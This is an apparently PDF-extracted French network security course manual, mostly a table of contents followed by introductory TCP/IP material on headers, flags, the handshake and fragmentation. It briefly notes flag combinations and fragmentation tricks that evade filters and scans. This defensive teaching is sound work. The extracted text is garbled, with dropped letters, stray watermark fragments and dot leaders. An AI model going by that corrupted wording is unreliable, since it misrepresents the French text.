Professional Documents
Culture Documents
Version 1.0.1
Support Instructeur
Eric BERTHOMIER 17 mars 2005
L FD en ce ic ou sl
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1 10 11 12
I Introduction
3 Introduction
13
14
15
16 17 17 17 18 18 18 20 20 20 21 21 22 22 22 24 24 24 24 24 26 26
5 TCP IP [5] 5.1 Len-tte TCP/IP . . . . . . . . . . . . . . . . . . . . . . . 5.1.1 Len-tte IP . . . . . . . . . . . . . . . . . . . . . . 5.1.2 Le protocole TCP . . . . . . . . . . . . . . . . . . . 5.1.3 Proprits du protocole TCP . . . . . . . . . . . . . 5.2 Numros de squence [15] . . . . . . . . . . . . . . . . . . 5.3 Connexion de base entre deux htes TCP . . . . . . . . . . 5.3.1 Les Drapeaux . . . . . . . . . . . . . . . . . . . . . 5.4 Les diffrents tats dun port TCP lors dune connexion [15] 5.5 Scurit : Association de drapeaux . . . . . . . . . . . . . . 5.5.1 Paquet fragment . . . . . . . . . . . . . . . . . . . 5.6 Protocole UDP . . . . . . . . . . . . . . . . . . . . . . . . 5.7 Protocole ICMP . . . . . . . . . . . . . . . . . . . . . . . . 5.8 Travaux Pratiques . . . . . . . . . . . . . . . . . . . . . . . 6 HTTP [10] 6.1 Le Protocole HTTP . . . . . . . . . . . . . . 6.2 Principe de fonctionnement . . . . . . . . . . 6.3 Requte au serveur . . . . . . . . . . . . . . 6.4 Rponse du serveur . . . . . . . . . . . . . . 6.4.1 Statut (status in english) de la requte 6.5 HTTPS . . . . . . . . . . . . . . . . . . . .
oc um en ts
2 26 27 27 27 27 29 29 30 30 31
6.6
7 Mail 7.1 SMTP : Envoi de mails . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.2 POP3 : Lecture des mails . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.3 Travaux pratiques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
L ou sl ic en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 Conclusion
32
33 33 33 34 34 35 35 35 35 36 36 37 37 38 38 38 39 39 39 40 40 40 40 41 41 41
IV Cryptage et application
12 Introduction
oc um en ts
42
43
3 44 44 44 44 44 44 45 45 47 47 47 47 47 48 48 48 48 49 49 50 50 51 51 52 53 53 54 54 54 54 55 55 55 55 56 56 57 57 58 58 58 58 58 58 59 60 60 60
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ic
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 Gnu Privacy Guard 16.1 Principes gnraux . . . . . . . . . . . . . . . . . 16.1.1 Signature digitale . . . . . . . . . . . . . . 16.1.2 Chiffrement . . . . . . . . . . . . . . . . . 16.2 Utilisation des cls publiques et prives : GPG . . . 16.2.1 Installation . . . . . . . . . . . . . . . . . 16.2.2 Utilisation en solitaire . . . . . . . . . . . 16.2.3 Explication des diffrentes options . . . . . 16.2.4 Utilisation en binme . . . . . . . . . . . . 16.2.5 Rponse des Travaux Pratiques en Binme
oc um en ts
ou sl
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . .
4 60 62 62 62 62 62 62 65 65 65 65 65 66 66 67 68 69 69 69 70 70 71 71 71 72 72 73
19 Conclusion
V Attaques
oc um en ts
18 Protection dun service Web[4] 18.1 Introduction . . . . . . . . . . . . . . . . . . . 18.2 Comment congurer Apache pour lhtaccess ? . 18.3 La procdure de cration du chier .htaccess . . 18.4 La procdure de cration du chier .htpasswd . 18.5 Travaux Pratiques . . . . . . . . . . . . . . . . 18.5.1 Pr-requis . . . . . . . . . . . . . . . . 18.5.2 Capture du Mot de Passe . . . . . . . . 18.5.3 Protection par https . . . . . . . . . . . 18.6 Notes sur linstallation de Apache et Apache-ssl
en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ou sl
ic
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . .
74
75 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 76 76 76 77 77 77 78 78 79 80 80 80 80 80 81
20 Introduction
21 IP Spoong [1] 21.1 Gnralits . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.1.1 Prsentation . . . . . . . . . . . . . . . . . . . . . . . 21.2 Pr-requis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.3 Lattaque . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.3.1 En bref . . . . . . . . . . . . . . . . . . . . . . . . . 21.3.2 En dtails . . . . . . . . . . . . . . . . . . . . . . . . 21.3.3 Conguration de conance . . . . . . . . . . . . . . . 21.3.4 Invalidation de la machine de conance . . . . . . . . 21.3.5 Echantillonnage des numros de squence et prdiction 21.4 Mesures prventives . . . . . . . . . . . . . . . . . . . . . . . 21.4.1 Ne pas faire conance . . . . . . . . . . . . . . . . . 21.4.2 Filtrer les paquets . . . . . . . . . . . . . . . . . . . . 21.4.3 Dsactiver le source routing . . . . . . . . . . . . . . 21.4.4 Utiliser le chiffrement . . . . . . . . . . . . . . . . . 21.4.5 Utiliser un numro de squence initial alatoire . . . .
5 81 82 82 82 82 83 83 83 84 84 84 85 85 85 86 86 86 88 88 88 89 89 89 89 89 90 90 90 90 90 91 91
en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
oc um en ts
ou sl
ic
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
92 . 92 . 92 . 92 . 93 . 94 . 94 . 94 . 99 . 100 . 101
6 102 102 102 103 104 104 104 104 105 105 106
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
VI Dfense
27 Introduction 28 Proxy[12]
FD en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
L ou sl ic
107
108 109 110 110 110 111 111 112 112 112 113 113 114 115 115 115 116 116 116 118 119 119 119 119 119 120 120 120 120 121 121 121 121
30 IDS [12] 30.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . 30.2 Bibliothques de signatures contre dtection danomalies 30.3 IDS Bibliothques de signatures . . . . . . . . . . . . 30.4 IDS Modles comportementaux . . . . . . . . . . . . 30.5 Rseau contre Systme . . . . . . . . . . . . . . . . . . 30.6 IDS Rseau . . . . . . . . . . . . . . . . . . . . . . . . 30.7 IDS Systme . . . . . . . . . . . . . . . . . . . . . . . 30.8 La ralit du march . . . . . . . . . . . . . . . . . . . 30.9 Le futur . . . . . . . . . . . . . . . . . . . . . . . . . . 30.10Critres de choix . . . . . . . . . . . . . . . . . . . . . 30.11Exemples de signatures [5] . . . . . . . . . . . . . . . . 30.11.1 Signature de lattaque LAND . . . . . . . . . .
29 Les FireWall [11] 29.1 Comprendre les pare-feux . . . . . . . . . . . . . . . . . . . . 29.1.1 Politiques de scurit . . . . . . . . . . . . . . . . . . 29.2 Types de pare-feux . . . . . . . . . . . . . . . . . . . . . . . 29.2.1 Pare-feux ltrants . . . . . . . . . . . . . . . . . . . . 29.2.2 Serveurs mandataires . . . . . . . . . . . . . . . . . . 29.2.3 Mandataire SOCKS . . . . . . . . . . . . . . . . . . 29.3 Architecture de pare-feu . . . . . . . . . . . . . . . . . . . . 29.4 Les limites des rewalls . . . . . . . . . . . . . . . . . . . . . 29.5 Principe du pare-feux sous Linux . . . . . . . . . . . . . . . . 29.5.1 Les rgles du ltrage avec Ipchains . . . . . . . . . . 29.5.2 Exemple de leffet dun DENY . . . . . . . . . . . . 29.5.3 Exemple de leffet dun REJECT . . . . . . . . . . . 29.5.4 Quelques lment de la syntaxe dIpChains . . . . . . 29.6 Exemple de conguration de Firewall . . . . . . . . . . . . . 29.7 Travaux Pratiques . . . . . . . . . . . . . . . . . . . . . . . . 29.7.1 Linux : utilisation dIPTables . . . . . . . . . . . . . . 29.7.2 Windows : installation et conguration de ZoneAlarm
oc um en ts
7 121 122 122 122 122 122 122 122 122 124 124 125 125 125 125 125 126 126 126 126 127 127 127 127 127 128 128 129 130 130 130 130 130 131 131 131 132 132 133 133 133 133 134
33 Mots de passe 33.1 Les mots de passe . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33.2 Quelques rgles dans la cration des mots de passe . . . . . . . . . . 33.2.1 Les mots de passe viter . . . . . . . . . . . . . . . . . . . 33.2.2 Rgles de constitution de mot de passe "solide" . . . . . . . . 33.3 Exemple dune mthode de cration de mot de passe . . . . . . . . . 33.4 Cryptage des mots de passe . . . . . . . . . . . . . . . . . . . . . . . 33.5 Travaux Pratiques : test des mots de passe . . . . . . . . . . . . . . . 33.5.1 John The Ripper sur Windows . . . . . . . . . . . . . . . . . 33.5.2 John The Ripper sur Linux . . . . . . . . . . . . . . . . . . . 33.6 Gestion des mots de passe . . . . . . . . . . . . . . . . . . . . . . . 33.6.1 Paramtrage par dfaut . . . . . . . . . . . . . . . . . . . . . 33.6.2 PAM : Pluggable Authentication Modules : les mots de passe 33.6.3 Quelques mots sur Cracklib . . . . . . . . . . . . . . . . . . 34 Conclusion
m en
32 Chrooting : Technique demprisonnement [8] 32.1 Quest ce que le chrooting ? . . . . . . . . 32.2 Exemple . . . . . . . . . . . . . . . . . . 32.3 But . . . . . . . . . . . . . . . . . . . . . 32.4 Conclusion . . . . . . . . . . . . . . . . 32.5 Travaux Pratiques . . . . . . . . . . . . . 32.5.1 Crer un chroot minimal . . . . . 32.5.2 chroot en mode Rescue . . . . . .
. . . . . . .
. . . . . . .
lic
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
en
. . . . . . . . . . . . . . . . . . . . .
ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
oc u
ts
ou s
136
137
8 138 138 138 138 140 140 140 142 142 142 142 143 143 143 143 144 144 150 150 150 151 151 152 152 153 153 154 154 154 155 155 155 156 159 159 159 160 161 161 162 162 162 163 163 163
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
39 Langages de Programmation Web 39.1 Introduction . . . . . . . . . . . . . . . . . . . 39.2 Les CGI . . . . . . . . . . . . . . . . . . . . . 39.3 Les VBScripts . . . . . . . . . . . . . . . . . . 39.4 Le JavaScript . . . . . . . . . . . . . . . . . . 39.4.1 Utilisation de la navet des internautes 39.4.2 Utilisation des failles des navigateurs . 39.5 Applet Java . . . . . . . . . . . . . . . . . . . 39.5.1 Exemple . . . . . . . . . . . . . . . . 39.6 Les ActiveX . . . . . . . . . . . . . . . . . . . 39.7 Certication de code . . . . . . . . . . . . . . 39.8 Se protger . . . . . . . . . . . . . . . . . . . 39.9 Travaux Pratiques . . . . . . . . . . . . . . . . 40 Cookies 40.1 Introduction . . . 40.2 Dnition . . . . 40.3 Cookie Brlant . 40.4 Se protger . . . 40.5 Travaux Pratiques
oc um en ts
38 Spyware 38.1 Introduction . . . . . . . . . . . . . . . . . . 38.2 Dnition . . . . . . . . . . . . . . . . . . . 38.3 Fonctionnement . . . . . . . . . . . . . . . . 38.4 Reconnatre un spyware . . . . . . . . . . . . 38.5 Comment dtecter la prsence dun spyware ? 38.6 Comment faire pour liminer un spyware ? . . 38.7 Conclusion : Spyware or not spyware ? . . . . 38.8 Travaux Pratiques . . . . . . . . . . . . . . .
en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ou sl
ic
. . . . . . . . . . . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
42 Directives pour une informatique scurise[9] 168 42.1 Recommandations aux administrateurs rseau . . . . . . . . . . . . . . . . . . . . . . . . . 168 42.2 Recommandations aux utilisateurs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169 43 Conclusion 171
44 Conclusion
FD en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
VIII Conclusion
L ou sl ic
172
173
IX Annexes
174
175 175 176 176 177 178 178 179 179 179 179 179 181 182 183 184 185
Listings
oc um en ts
A GNU Free Documentation License 1. APPLICABILITY AND DEFINITIONS . . . . . . . . . 2. VERBATIM COPYING . . . . . . . . . . . . . . . . . . 3. COPYING IN QUANTITY . . . . . . . . . . . . . . . . 4. MODIFICATIONS . . . . . . . . . . . . . . . . . . . . . 5. COMBINING DOCUMENTS . . . . . . . . . . . . . . . 6. COLLECTIONS OF DOCUMENTS . . . . . . . . . . . 7. AGGREGATION WITH INDEPENDENT WORKS . . . 8. TRANSLATION . . . . . . . . . . . . . . . . . . . . . . 9. TERMINATION . . . . . . . . . . . . . . . . . . . . . . 10. FUTURE REVISIONS OF THIS LICENSE . . . . . . . ADDENDUM : How to use this License for your documents
Remerciements
Merci tous les stagiaires qui ont supports mon vagabondage pdagogique ainsi que tous mes collgues qui ont supports mes ronchons quotidiens.
Erwann Simon : vnrable matre de Linux qui maide dans les coups durs et mes oublis. fr.comp.text.tex : merci tous ceux qui mont aid naviguer au sein de cet outil puissant et able. Toutes mes excuses ceux que jaurais pu oublier ...
oc um en ts
ou sl
10
Bruno Panaget : studieux et intress, merci pour son soutien dans la ralisation de ces cours.
ic
Johnny Diaz : imperturbable interrogateur qui a permis de faire avancer normment le ct pdagogique de mes cours. Merci notamment pour ses prises de notes maintes fois reprises.
en ce
FD
Une pense toute particulire ma femme et mes 2 lles pour leur soutien de tous les instants.
Chapitre 1
oc um en ts
ou sl
11
ic
en ce
Version 1.0.1
FD
Historique
Chapitre 2
Le cours ncessite de disposer des fonctionnalits suivantes : Accs Internet Machine Linux disposant : des services suivants : POP : QPopper SMTP : Exim Apache : httpd Apache scuris : libapache-modssl SSH : sshd Telnet : telnetd des outils suivants : Compilation C nmap hping (logiciel) des utilisateurs suivants : stage1 stage2 stage3 stage4 stage5 stage6
oc um en ts
ou sl
12
ic
en ce
FD
Prrequis du cours
oc um en ts
ou sl
13
ic
Introduction
en ce
Premire partie
FD
Chapitre 3
Tous les documents et marques cits et publis dans ce recueil sont la proprit de leurs auteurs respectifs. 14
oc um en ts
Apportant avec elle, le support lectronique, la messagerie instantane, la communication haut dbit, les pages web, les bases de donnes ouvertes, linformatique a ouvert la porte un nouveau type de criminalit la cybercriminalit. Longtemps ignor par les responsables informatiques le hacking reprsente maintenant un enjeu conomique important et nombreuses sont les attaques visant dtruire ou usurper des informations. En premier lieu, nous rappellerons les principes du TCP/IP et des protocoles du web HTTP/HTTPS. Puis nous expliquerons le fonctionnement dun programme an de contrler au maximum ce que fait une session Internet. Ensuite, nous passerons lattaque. Tout dabord en tant quclaireur nous verrons diffrentes mthodes permettant la dcouverte de VOS machines. Une fois dcouvertes nous verrons les diffrents types dattaques quelles peuvent subir. Face nous, les adversaires possdent de puissantes dfenses que nous analyserons : Firewall, IDS, Honey Pots, ... Mais ne nous leurrons pas, toute dfense possde ces failles surtout si le mal vient de lintrieur... ou mme de soit. Enn, an dtendre notre connaissance et se donner un champs de vision important, nous installerons et scuriserons minima 2 systmes, Windows 2000 & Linux Debian Woody.
ou sl
ic
en ce
FD
Introduction
oc um en ts
ou sl
15
ic
en ce
Deuxime partie
FD
Chapitre 4
oc um en ts
ou sl
16
ic
en ce
Nous allons commencer par un rappel des notions de base du protocole TCP/IP indispensable la comprhension du fonctionnement des signatures et des ltres. Puis nous aborderons le fonctionnement des pages Web avec les 2 protocoles utiliss par les serveurs : HTTP et HTTPS. Enn, nous verrons la dernire composante de notre quotidien Internet : le mail avec les protocoles POP3 et SMTP.
FD
Introduction
Chapitre 5
Un paquet TCP/IP est compos de deux parties : la partie en-tte et la partie data.
5.1.1 Len-tte IP
Numro de version (4 bits)
oc um en ts
ou sl
TOS (8 bits) 17
Len-tte TCP/IP contient toutes les informations que le paquet utilise sur le rseau pour circuler. Il est compos de deux parties : une partie contenant les informations utilises pour effectuer le routage et ladressage appel len-tte IP, et une deuxime partie contenant les informations concernant le protocole de transport du paquet (TCP, UDP, ICMP) appel en-tte TCP. Cette 2nde partie varie en fonction des applications qui utilisent les services du protocole TCP/IP.
ic
Identication identie les fragments dun mme paquet TTL Protocole (8 bits) 00000001=ICMP 00000110=TCP 00010001=UDP Adresse IP destination (32 bits) Adresse IP source (32 bits) TAB . 5.1 En-tte IP
TOS : Type Of Service (qualit de service), non utilis. TTL : Time To Live, dure de vie, dcrment de 1 chaque passage de routeur. Flags (R, DF, MF) : DF : indique que le paquet ne doit pas tre fragment MF : indique que le paquet fait partie dun ensemble de paquets fragments Combinaisons de valeurs possibles pour les ags R, DF & MF :
en ce
Longueur totale du paquet = longueur-en-tte (IP + protocole encapsul) + donnes (16 bits) R DF MF Offset du fragment (1 bit) (1 bit) (1 bit) (13 bits) Somme de contrle (16 bits)
FD
TCP IP [5]
18
Toute session TCP normale se dcompose en trois tapes savoir : tablissement de connexion change de donnes n de la connexion Chacune de ces tapes se caractrise par un numro de squence et une combinaison de drapeaux.
oc um en ts
URG : Urgent (Ctrl-C par exemple sur telnet) ACK : tenir compte de lAcknowledgement PSH : dlivrer immdiatement les donnes (aprs une n de ligne sous telnet par exemple) RST : reset, reprise dune connexion au dpart (aprs plusieurs SYN incomprhensible ou un crash) SYN : Synchronisation des numros de squence FIN : termine la connexion Remarque : lISN dnit le Numro de Squence Initial ( ltablissement de la connexion).
ou sl
ic
en ce
FD
19
oc um en ts
ou sl
ic
en ce
FD
Emetteur Paquet 100 100 a bien t reu par le destinataire Paquet 101 a bien t reu 101 a bien t reu par le destinataire Paquet 102 Paquet 103 103 a bien t reu par le destinataire 102 na pas reu dacquiescement, on le renvoie 102 a bien t reu par le destinataire
Rseau
Destinataire Paquet 100 reu acquittement de 100 Paquet 101 reu acquittement de 101 ????????? Paquet 103 reu acquittement de 103 Paquet 102 reu acquittement de 102
20
SYN marque une demande de connexion. Pendant cette phase de connexion aucune donne nest transmise. Tout paquet contenant des donnes pendant la phase de demande de connexion est suspect (signature). ACK acquitte la rception dun paquet. FIN marque la n dune session. ReSeT suspend une connexion. PuSH pour pousser le paquet dans le tampon dentre de lapplication. Il est utilis pour des applications interactives (Telnet). Un drapeau P avec un port de destination qui nest pas celui dune application interactive doit tre analys avec attention. URGent marque un paquet prioritaire Marqueur marque un paquet contenant des donnes.
5.4 Les diffrents tats dun port TCP lors dune connexion [15]
Un port TCP passe par diffrents tats lors dune connexion. Il est possible de voir ltat de chaque port en utilisant la commande Unix netstat (disponible galement sous Windows). Voici la liste de ces diffrents tats : LISTEN Attente dune demande de connexion.
1 Three
way handshake
oc um en ts
Les drapeaux sont les identicateurs utiliss par TCP/IP pour indiquer ltape dune connexion. Les diffrents types de drapeaux de TCP sont :
ou sl
Sur la premire ligne, la machine B est en attente de connexion. Lhte A initie une connexion vers B, elle envoie donc un paquet contenant le bit de contrle SYN, ltat du port devient donc SYN-SENT. B reoit ce paquet, il passe ltat SYN-RECEIVED et envoie un paquet contenant SYN-ACK et attendant un paquet ayant comme numro de squence 101. A reoit ce paquet, passe ltat ESTABLISHED et envoie un paquet numrot 101, comme demand par B, ayant le bit de contrle positionn ACK. Puis B reoit ce paquet et passe ltat ESTABLISHED. La transmission peut enn avoir lieu.
ic
en ce
FD
21
Tous les fragments dun paquet fragment ont le mme numro didentication ( voir schma en-tte IP) que le paquet original. Il existe trois types de fragments : Premier fragment : indique le protocole de transport,son OFFSET est nul, son drapeau MF est dni. Deuxime fragment : nindique pas de protocole, son OFFSET est diffrent de zro, son drapeau MF est dni. Dernier fragment : nindique pas de protocole, son OFFSET est diffrent de zro,mais son MF nest pas dni. REMARQUE
Lune des grandes difcults des dispositifs de ltrage de nos jours est la fragmentation. La fragmentation est le moyen dont dispose le routeur pour couper en fragments un paquet dont le MTU ne correspond pas son prochain mdium. Mais la fragmentation peut-tre mise en uvre pour contourner un dispositif de ltrage. Donc il faut savoir distinguer un paquet fragment normal,dun paquet fragment anormal.
oc um en ts
tant donn que chaque session du protocole TCP/IP se dcompose en trois tapes, chaque tape correspond une association de drapeaux. Les associations de drapeaux pour une demande de connexion sont : SYN, SYN / ACK, ACK. Les associations de drapeaux pour un change de donnes sont : P / ACK, / ACK. Les associations de drapeaux pour une n de session sont : F / ACK, R / ACK Certaines associations de drapeaux sont luvre de paquets fabriqus des ns de nuisance du rseau Association de drapeaux anormale Comme association de drapeaux anormale on a : SYN / FIN (ce paquet demande une ouverture de session et en mme temps une n de session ce qui est anormal). Cest une signature qui chappe des dispositifs de ltrages et qui vite que le paquet soit journalis. Un ACK PING consiste utiliser le ACK au lieu de ping pour contourner des dispositifs qui ltrent ce genre de balayage. En envoyant un ACK toutes les machines dun rseau celles qui sont actives rpondront par un RESET. Un ACK qui nest pas prcd SYN est suspect (signature dune attaque).
ou sl
ic
en ce
FD
